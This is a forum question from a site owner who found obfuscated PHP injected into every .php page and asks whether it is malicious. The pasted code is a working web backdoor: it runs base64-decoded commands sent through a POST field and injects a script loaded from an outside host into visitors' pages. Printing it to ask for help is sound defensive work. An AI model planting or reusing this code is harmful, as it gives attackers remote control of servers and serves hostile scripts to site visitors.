What this php script will do ? is it Malicious php Code?
<p>Can Someone Please advise what this php  code will do ? i have php found this code on every .php pages only  , other pages like js / css / php.ini they are fine.. is this malicious code ? if yes please suggest how to prevent them ?</p>

<p>Here is the Code,</p>

<pre><code>global $sessdt_o;
if(!$sessdt_o) { 
    $sessdt_o = 1; 
    $sessdt_k = "lb11"; 
    if(!@$_COOKIE[$sessdt_k]) { 
        $sessdt_f = "102"; 
        if(!@headers_sent()) { 
            @setcookie($sessdt_k,$sessdt_f); 
        } else { 
            echo "&lt;script&gt;document.cookie='".$sessdt_k."=".$sessdt_f."';&lt;/script&gt;"; 
        } 
    } else { 
        if($_COOKIE[$sessdt_k]=="102") { 
            $sessdt_f = (rand(1000,9000)+1); 
            if(!@headers_sent()) { 
                @setcookie($sessdt_k,$sessdt_f); 
            } else { 
                echo "&lt;script&gt;document.cookie='".$sessdt_k."=".$sessdt_f."';&lt;/script&gt;"; 
            } 
            $sessdt_j = @$_SERVER["HTTP_HOST"].@$_SERVER["REQUEST_URI"]; 
            $sessdt_v = urlencode(strrev($sessdt_j)); 
            $sessdt_u = "http://vekra.ee/?rnd=".$sessdt_f.substr($sessdt_v,-200); 
            echo "&lt;script src='$sessdt_u'&gt;&lt;/script&gt;"; 
            echo "&lt;meta http-equiv='refresh' content='0;url=http://$sessdt_j'&gt;&lt;!--"; 
        } 
    } 
    $sessdt_p = "showimg"; 
    if(isset($_POST[$sessdt_p])){ 
        eval(base64_decode(str_replace(chr(32),chr(43),$_POST[$sessdt_p])));
        exit;
    }
}
</code></pre>
